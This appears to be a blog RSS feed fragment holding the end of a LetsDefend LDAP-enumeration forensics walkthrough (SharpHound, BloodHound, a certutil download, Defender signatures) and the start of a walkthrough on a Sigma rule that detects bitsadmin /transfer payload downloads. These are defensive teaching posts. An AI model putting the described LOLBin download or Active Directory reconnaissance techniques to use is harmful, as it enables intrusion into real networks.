&lt;strong&gt;Question 9&lt;/strong&gt;, we need to identify a zip file created on the system following the execution of &lt;code&gt;SharpHound.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You might have spotted a clue earlier when reviewing the &lt;strong&gt;Defender Operational logs&lt;/strong&gt;, where we saw evidence of a malicious file downloaded by abusing a living-off-the-land binary: &lt;code&gt;certutil&lt;/code&gt;. While that&amp;rsquo;s out of scope for this challenge, it&amp;rsquo;s worth noting. More importantly, the Defender event also shows the full command run—which includes the directory where the file was copied on the victim system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/c017d933495748d86949d01c8fdfff86_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Stumbling across a malicious zip file&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s approach this another way, too. Jump back over to &lt;em&gt;MFTExplorer&lt;/em&gt; and continue searching the excluded directory &lt;code&gt;C:\Windows\Temp&lt;/code&gt;, where we previously found the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary. Since we&amp;rsquo;ve determined this is being used by the attacker as a staging directory, we can look for any other suspicious zip files and correlate them with the Defender logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/fdaf6fe250ebaa53a1b0a9f5b4b845d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFT Explorer: Confirming the malicious zip file&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Voila!&lt;/strong&gt; We find the record for the malicious zip file in the same staging directory. Remember when I mentioned that &lt;strong&gt;SharpHound&lt;/strong&gt; is the collector for &lt;strong&gt;BloodHound&lt;/strong&gt;? Now we have confirmation that &lt;em&gt;BloodHound&lt;/em&gt; is also present, and we can start to get a pretty good idea of the techniques the attacker will employ next: reconnaissance and enumeration of the environment using LDAP queries to map Active Directory objects.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/3febc291e84037ad94a914d16b156276_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-10-11&#34;&gt;Questions 10 &amp;amp; 11:&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-malware-family-name-associated-with-the-malicious-file-that-was-downloaded&#34;&gt;What is the malware family name associated with the malicious file that was downloaded?&#xA;&lt;/h3&gt;&lt;h3 id=&#34;what-is-the-malware-signature-detected-by-windows-defender-for-themalware&#34;&gt;What is the malware signature detected by Windows Defender for the malware?&#xA;&lt;/h3&gt;&lt;p&gt;To go out with a bang, let&amp;rsquo;s tackle these two questions together. This pair can be a little confusing because we just discovered evidence of &lt;strong&gt;BloodHound&lt;/strong&gt;. However, these questions are asking about the detection signature name for the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary we found in the &lt;strong&gt;Defender Event logs&lt;/strong&gt; back in Question &lt;strong&gt;6&lt;/strong&gt;—and we already stumbled across the answer.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a quick refresher:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8f784b2923210ab174375e6b86794205_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the malware family of SharpHound&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s where it gets tricky: we&amp;rsquo;re looking for the &lt;em&gt;family name&lt;/em&gt; that the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary belongs to—not the name of the binary itself. A malware family name is used to describe multiple pieces of malware that share specific properties like capability, origin, or code base.&lt;/p&gt;&#xA;&lt;p&gt;To confirm this, let&amp;rsquo;s pivot to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; for additional intelligence, such as community family labels. Copy the SHA1 hash we found in &lt;strong&gt;Question 6&lt;/strong&gt; and navigate to &lt;em&gt;VirusTotal&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;824px&#34; data-flex-grow=&#34;343&#34; height=&#34;233&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d060362bdd88a3b384ed0f798f102a8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the results page loads, focus on the family labels. One of them matches something we saw in the Defender logs: &lt;strong&gt;MSIL&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For additional context, Microsoft follows its own naming convention for malware detections, and it can be difficult to decipher what&amp;rsquo;s being detected from the name alone. A great resource for this is the &lt;strong&gt;Microsoft Learn&lt;/strong&gt; page: &lt;em&gt;How Microsoft names malware&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  title=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;How Microsoft names malware - Unified security operations&lt;/strong&gt;&#xA;_Understand the malware naming convention used by Microsoft Defender Antivirus and other Microsoft antimalware._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Based on this article, we can understand that &lt;strong&gt;MSIL&lt;/strong&gt; describes the malware&amp;rsquo;s scripting language — not what we typically think of as a malware family. According to the docs, MSIL refers to &lt;em&gt;.NET Intermediate Language scripts&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The full detection signature name from Defender combines this prefix with additional details about the threat.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/212d956e12691d7c5874e9fc62892c6e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the malware detection signature of SharpHound&lt;/p&gt;&#xA;&lt;p&gt;In this example, we can decipher some further details:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;VirTool:&lt;/strong&gt; Indicates the file is a tool that could be used maliciously&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;MSIL:&lt;/strong&gt; The platform or language (.NET Intermediate Language)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SharpHound.A:&lt;/strong&gt; The specific malware family and variant&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that wraps up our investigation! Awesome job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/b4a33ade80e489f9fe762e874955d38d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f5d216334d4dea6063c0440909728bea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;580px&#34; data-flex-grow=&#34;241&#34; height=&#34;331&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/9085a22ccadbfbc80a51b35a03f7ee7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge provided a great opportunity to go back to the basics and dive into forensics and incident response for some classic Active Directory reconnaissance techniques. It pushed us to pivot between multiple artifacts like Windows Event Logs, Prefetch files, $MFT records, and Windows Defender logs to piece together a complete attack timeline. Along the way, we uncovered how attackers can leverage living-off-the-land binaries, abuse legitimate tools like &lt;strong&gt;SharpHound&lt;/strong&gt;, and even tamper with security configurations to evade detection.&lt;/p&gt;&#xA;&lt;p&gt;Put together, that&amp;rsquo;s what made it feel so realistic — because in the real world, attackers rarely leave all their footprints in one place. We had to investigate several log sources, learning about each one as we followed the trail and validate our findings using tools like &lt;em&gt;Eric Zimmerman&amp;rsquo;s tools&lt;/em&gt;, &lt;em&gt;Event Log Explorer&lt;/em&gt;, and &lt;em&gt;VirusTotal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to revisit Windows log artifacts and brush up on investigating Active Directory-based attacks. It&amp;rsquo;s a perfect example of how layered techniques like initial access, reconnaissance, and defense evasion all fit together in an attack chain. And at the core of it all was the attacker&amp;rsquo;s objective: &lt;strong&gt;LDAP enumeration&lt;/strong&gt;, using LDAP queries through tools like &lt;em&gt;BloodHound&lt;/em&gt; to map Active Directory objects and identify privilege escalation paths. While we didn&amp;rsquo;t investigate beyond the ingress tools transfer, it was rewarding to see how each question built on the previous one, creating a logical and linear investigation flow. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ldap-enumeration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Forensic Analysis of Prefetch files in Windows&lt;/em&gt;&lt;/strong&gt;&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — System Owner/User Discovery (T1033):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1033/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — BloodHound (S0521):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0521/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics Blog — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**_Harnessing MFT parsing for incident response investigations&amp;quot;: &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — SharpHound Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Malware Names:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/unified-secops/malware-naming&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend  —  Learn Sigma Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/</link>
            <pubDate>Mon, 10 Nov 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend  —  Learn Sigma Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--learn-sigma-challenge-walkthrough&#34;&gt;LetsDefend — Learn Sigma Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-beginners-challenge-in-sigma-rule-analysis&#34;&gt;A Beginner&amp;rsquo;s Challenge in Sigma Rule Analysis.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/learn-sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Learn Sigma&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. If you&amp;rsquo;ve ever been curious about &lt;strong&gt;Sigma&lt;/strong&gt; rules or how to read them, this beginner-friendly challenge is for you!&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization has detected a ransomware infection on one of its critical systems, and it is imperative that you address this issue immediately. This type of malware searches for valuable files, such as sensitive documents and configuration files, and encrypts them using a strong encryption algorithm.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The investigation has revealed that the ransomware may have used the Windows utility bitsadmin.exe to download additional malicious payloads or communicate with its command-and-control (C2) server.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your task is to carefully review the Sigma rule, answer the related questions, and understand how different rule sections (selection, condition, fields, tags, logsource) work together to detect malicious activity.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our detection engineering hats and need to leverage a &lt;em&gt;Sigma&lt;/em&gt; rule to analyze logs related to a ransomware infection. But first, we need to review the rule, understand how it works, and clarify what&amp;rsquo;s in scope — just to be sure we don&amp;rsquo;t miss anything.&lt;/p&gt;&#xA;&lt;p&gt;If any of this sounds new or confusing, don&amp;rsquo;t worry! I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt; for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;sigma-rules101&#34;&gt;Sigma Rules 101:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump into this challenge, let&amp;rsquo;s have a quick, informational overview of what &lt;strong&gt;Sigma&lt;/strong&gt; rules are and how they&amp;rsquo;re structured to better inform our answers. For this, we&amp;rsquo;ll lean on the excellent &lt;em&gt;Sigma&lt;/em&gt; documentation available here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  title=&#34;https://sigmahq.io/docs/basics/rules.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Explore Sigma&lt;/strong&gt;&#xA;_A generic and open signature format that allows you to describe relevant log events in a straight-forward manner._sigmahq.io&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From the documentation, we can understand that &lt;em&gt;Sigma rules&lt;/em&gt; are &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;_YAML_&lt;/code&gt; &lt;em&gt;files that contain all the information required to detect odd, bad or malicious behaviour when inspecting log files €“ usually within the context of a&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Security_information_and_event_management?useskin=vector&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;SIEM&lt;/em&gt;&lt;/a&gt;_.&amp;ldquo;Put another way, &lt;em&gt;Sigma rules&lt;/em&gt; can be used to identify targeted suspicious or malicious activity by matching patterns against log data.&lt;/p&gt;&#xA;&lt;p&gt;To organize these rules in a uniform schema, &lt;em&gt;Sigma rules&lt;/em&gt; contain three primary sections:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Detection:&lt;/strong&gt; &amp;quot; # &amp;ldquo;What malicious behaviour the rule searching for.&amp;ldquo;2. &lt;strong&gt;Logsource:&lt;/strong&gt; &amp;quot; # &amp;ldquo;What types of logs this detection should search over.&amp;ldquo;3. &lt;strong&gt;Metadata:&lt;/strong&gt; &amp;quot; # &amp;ldquo;Other information about the detection.&amp;ldquo;With this basic understanding, we&amp;rsquo;re well-equipped to take on this challenge and analyze the &lt;em&gt;Sigma rule&lt;/em&gt;! I encourage you to check out the documentation if you&amp;rsquo;re curious and want more detailed information. Let&amp;rsquo;s get to it!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;question-1-which-executable-file-was-specifically-targeted-by-this-sigmarule&#34;&gt;Question 1: Which executable file was specifically targeted by this Sigma rule?&#xA;&lt;/h3&gt;&lt;p&gt;Go ahead and open the &lt;code&gt;ChallengeFile&lt;/code&gt; folder, where we&amp;rsquo;ll find the Sigma rule contained in the &lt;code&gt;proc_creation_win_bitsadmin_download.yml&lt;/code&gt;. This is the YAML file we&amp;rsquo;ll need to analyze.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;768px&#34; data-flex-grow=&#34;320&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/726fcd78ba54aefe469956e759c0951c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To review the contents, we can open the YAML file in a text editor. For this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Notepad++&lt;/strong&gt; since it makes it easier to view and explain structured files like this. With the file open, we need to identify which executable file is targeted by the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/33994e54b6a96af6c15af7595e303cb2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the executable file targeted by the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;On line 23, under the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Detection&lt;/em&gt;&lt;/a&gt; section, we can see that in the &lt;code&gt;selection_img&lt;/code&gt; field, the rule is targeting &lt;code&gt;bitsadmin.exe&lt;/code&gt;. &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bitsadmin&lt;/strong&gt;&lt;/a&gt; is a legitimate Windows binary used to create, download, or upload jobs and to monitor their progress. However, it can also be abused by attackers to download malware or other malicious payloads (see &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1197/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK T1197 — BITS Jobs&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/f6030772456061a624b7d0388f46e215_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-command-line-option-is-used-to-indicate-a-file-transfer-in-thisrule&#34;&gt;Question 2: What command-line option is used to indicate a file transfer in this rule?&#xA;&lt;/h3&gt;&lt;p&gt;Next, we need to determine which &lt;em&gt;Bitsadmin&lt;/em&gt; command-line option is used to perform a file transfer with the tool. We can find this on line 26, where the &lt;code&gt;selection_cmd&lt;/code&gt; field is targeting the &lt;code&gt;/transfer&lt;/code&gt; command-line switch.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;404px&#34; data-flex-grow=&#34;168&#34; height=&#34;475&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/67822c506d83bb3747bad315fbe86079_MD5.png&#34; 